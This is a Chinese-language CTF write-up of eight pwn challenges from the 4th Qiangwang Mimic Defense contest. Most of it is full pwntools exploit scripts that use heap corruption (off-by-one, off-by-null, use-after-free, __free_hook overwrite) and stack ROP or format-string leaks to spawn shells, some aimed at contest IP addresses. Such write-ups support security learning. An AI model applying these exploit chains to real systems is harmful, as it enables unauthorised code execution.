第四届强网拟态防御国际精英挑战赛wp(pwn)

这次强网拟态比赛的pwn 5个堆题,三个栈题。堆基本上都是在libc2.27-3ubuntu1.4下的漏洞利用,整体的pwn难度还可以哈。写一下wp吧(:不会web,misc,mobile的小菜鸡:)

题目链接:https://github.com/z1r00/ctf-pwn/tree/main/%E7%AC%AC%E5%9B%9B%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81

old_school

漏洞点出在了edit的15行上,size多给了一个1。libc2.27下的off-by-one,解法没有什么多说的,2.27的tcache先填满,因为可以申请0x100以下的堆,所以把unstortedbin泄露出来,再加上overlapping,控制一下fd改hook就可以了。上exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

context(arch='amd64', os='linux',log_level = 'debug')

file_name = './z1r0'

debug = 0
if debug:
r = remote('121.36.194.21', 49153)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.27.so')

menu = 'Your choice: '

def dbg():
gdb.attach(r)

def new(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Content: ', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))


for i in range(7):
new(i, 0x100)
new(7, 0x100)
new(8, 0x100)

for i in range(7):
delete(i)

delete(7)
new(7, 0x10)

new(9, 0x18)
show(9)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = one[1] + libc_base

new(10, 0x10)
p1 = b'a' * 0x10 + p64(0x40) + b'\x41'
edit(9, p1)

delete(10)
new(10, 0x30)

new(11, 0x10)

delete(11)

p2 = p64(0) * 3 + p64(0x21) + p64(free_hook)
edit(10, p2)

new(12, 0x10)
new(13, 0x10)
edit(13, p64(one_gadget))


delete(12)

r.interactive()

old_school_revenge

这一题和上一题差不多,sub_C61这个函数里有一个off-by-null,libc2.27下。

上exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context(arch='amd64', os='linux',log_level = 'debug')

file_name = './z1r0'

debug = 0
if debug:
r = remote('123.60.63.39', 49155)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.27.so')

menu = 'Your choice: '

def dbg():
gdb.attach(r)

def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Content: ', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def free(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))


for i in range(7):
add(i, 0xf8)


add(7, 0xf8)
add(8, 0x88)#8
add(9, 0xf8)#9
add(10, 0x88)#10
for i in range(7):
free(i)
free(8)
free(7)

add(8, 0x88)
p1 = b"a"*0x80+p64(0x90+0x100)
edit(8, p1)

free(9)

for i in range(7):
add(i, 0xf8)

add(7, 0xf8)
show(7)

libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 736 - 0x10 - libc.sym['__malloc_hook']
success('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = one[1] + libc_base

add(9, 0xf8)

free(9)

p2 = p64(free_hook)
edit(8, p2)

add(11, 0xf8)
add(12, 0xf8)
edit(12, p64(one_gadget))

free(11)

r.interactive()

random_heap

还是2.27下的漏洞利用,这题有一个很有意思的地方,size大小会被random影响。释放的时候有一个uaf,因为size会被影响,在fd改为hook之后,需要进行爆破强制申请一样大小的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context(arch='amd64', os='linux',log_level = 'debug')

file_name = './z1r0'

debug = 0
if debug:
r = remote('121.36.194.21', )
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.27.so')

menu = 'Your choice: '

def dbg():
gdb.attach(r)

def new(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Content: ', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))

new(0,0x100)
new(1,0x20)

delete(0)

for i in range(7):
edit(0, p64(0))

delete(0)

show(0)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = one[1] + libc_base

delete(1)

edit(1, p64(free_hook))

# 这里强行申请tcache中放着free_hook大小的chunk
for i in range(0x30):
new(i+1, 0x20)
edit(i+1, p64(one_gadget))

delete(2)

r.interactive()

bitflip

还是2.27下的libc。限制了申请堆块大小<=0x50,这里有个off-by-one。还是进行堆块的重叠,unsortedbin的泄露,改fd为hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *

context(arch='amd64', os='linux')

file_name = './z1r0'

debug = 1
if debug:
r = remote('124.71.130.185', 49155)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.27.so')

menu = 'Your choice: '

def dbg():
gdb.attach(r)

def create(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendafter('Content: ', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))

create(0, 0x48)
create(1, 0x20)
create(2, 0x30)
create(3, 0x30)

edit(0, 0x48 * b'a'+p8(0x51))

delete(1)

delete(3)

delete(2)

create(1, 0x48)

edit(1, b'a' * 0x30 + b'\n')

show(1)

r.recvuntil('a' * 0x30)

re = u64(r.recv(6).ljust(8, b'\x00'))
success('re = ' + hex(re))
heap_addr = re - 0x555711a7c30a + 0x555711a7c000
success('heap_addr = ' + hex(heap_addr))


edit(1, b'b' * 0x20 + p64(0) + p64(0x41) + p64(re + 22) + b'\n')

create(4,0x28)
create(5, 0x40)
create(6, 0x50)

for i in range(13):
create(i + 7, 0x50)

create(0x1f, 0x28)
create(0x1e, 0x20)
create(0x1d, 0x30)
create(0x1c, 0x30)
create(0x1b, 0x30)

delete(0x1d)
delete(0x1c)
delete(0x1b)


edit(6, p64(0) + p64(0x551 - 0x80) + b'\n')

edit(0x1f, 0x28 * b'c' + p8(0x61))

delete(0x1e)

create(0x1e, 0x50)

edit(0x1e, 0x28 * b'd' + p64(0x41) + p64(heap_addr + 0x3f0) + b'\n')

create(0x1b, 0x30)
create(0x1c, 0x30)

delete(0x1c)

edit(6, 0xf * b'a' + b'\n')

show(6)

re2 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('re2 = ' + hex(re2))

libc_base = re2 - 0x7ff81693aca0 + 0x7ff81654f000

#libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = one[1] + libc_base


edit(6, p64(0) + p64(0x4d1) + p64(re2) * 2 + p64(free_hook) + b'\n')

create(0x15, 0x10)
delete(7)

create(0x16, 0x40)
edit(0x16, b'a' * 0x20 + p64(0) + p64(0x61) + p64(free_hook) + b'\n')

create(0x17, 0x50)
create(0x18, 0x50)

edit(0x18, p64(one_gadget) + b'\n')

delete(0)

r.interactive()

bornote

libc2.31下的off-by-null漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 0
if debug:
r = remote('121.36.194.21', 49153)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.31.so')

menu = 'cmd: '

def dbg():
gdb.attach(r)

def add(size):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))

def edit(index, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Note: ', content)

def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))

r.recvuntil('username: ')
r.sendline('aaaa')

add(0x418) #0
add(0x128) #1
add(0x418) #2
add(0x438) #3
add(0x148) #4
add(0x428) #5
add(0x138) #6

delete(0)
delete(3)
delete(5)

delete(2) #2,3

add(0x438) #0

edit(0, b'a' * 0x418 + p64(0xb01)[:7])

add(0x418) #2

add(0x428) #3

add(0x418) #5

delete(5)
delete(2)

add(0x418) #2

show(2)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0xe6c7e, 0xe6c81, 0xe6c84]
one_gadget = one[1] + libc_base

edit(2,b'\x01' * 8)
add(0x418) # 5
delete(5)
delete(3)
add(0x5f8) # 3
add(0x428) # 5
edit(5,b'')
add(0x418) # 7


add(0x108) #8
edit(8,p64(0) + p64(0x111))
edit(6, b'\x01' * 0x138) # offbynull
edit(6, b'\x01' * 0x130 + p64(0xb00)) #prev_size
delete(3)

edit(1, p64(0))
add(0x10) #3


add(0x128) #9
delete(1)
delete(9)
edit(7,p64(free_hook))

add(0x128)
add(0x128) #9

edit(9,p64(one_gadget))


delete(0)

r.interactive()

sonic

这里有一个栈溢出。直接rop就可以了,开了pie找到offest。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(arch='amd64', os='linux', log_level = 'debug')

file_name = './z1r0'

debug = 0
if debug:
r = remote('123.60.63.90', 6890)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

r.recvuntil('0x')

main_addr = int(r.recv(12), 16)
success('main_addr = ' + hex(main_addr))

offest = main_addr - 0x7cf

pop_rdi = offest + 0x00000000000008c3
pop_rsi = offest + 0x00000000000008c1

execve = offest + 0x610
arg = offest + 0x201040

p1 = b'/bin/sh\x00' * 5 + p64(pop_rdi) + p64(arg) + p64(pop_rsi) + p64(0) * 2+ p64(execve)

r.sendline(p1)

r.interactive()

pwnpwn

这题格式化+栈溢出。保护有canary,所以格式化输出canary,最后rop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *


file_name = './z1r0'
debug = 0

if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)


libc = ELF('./2.23/libc-2.23.so')

def dbg():
gdb.attach(r)

r.sendline('1')

r.recvuntil('0x')

vuln_addr = int(r.recv(12), 16)
success('vuln_addr = ' + hex(vuln_addr))

offest = vuln_addr - 0x9b9

r.sendline('2')
r.recvuntil('hello\n')

r.sendline('%3$p+%27$p')

libc_base = int(r.recvuntil("+", drop=True), 16) - (0x7f3c9335d360 - 0x7f3c93266000)
success('libc_base = ' + hex(libc_base))

canary=int(r.recvuntil("\n",drop=True),16)
success('canary = ' + hex(canary))

pop_rdi = libc_base + 0x21112

bin_sh = libc.search(b"/bin/sh").__next__() + libc_base
system_addr = libc_base + libc.sym['system']

p = b'a' * 0x68 + p64(canary) + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

r.sendline(p)

r.interactive()

old_echo

这题开了沙盒,不能直接getshell了。

格式化字符串,漏洞点如下图。因为这一题有一个close(1),所以无法正常输出,需要改stdout的_fileno = 2打出libc_base等地址。最后进行orw即可拿到flag。

1
#orw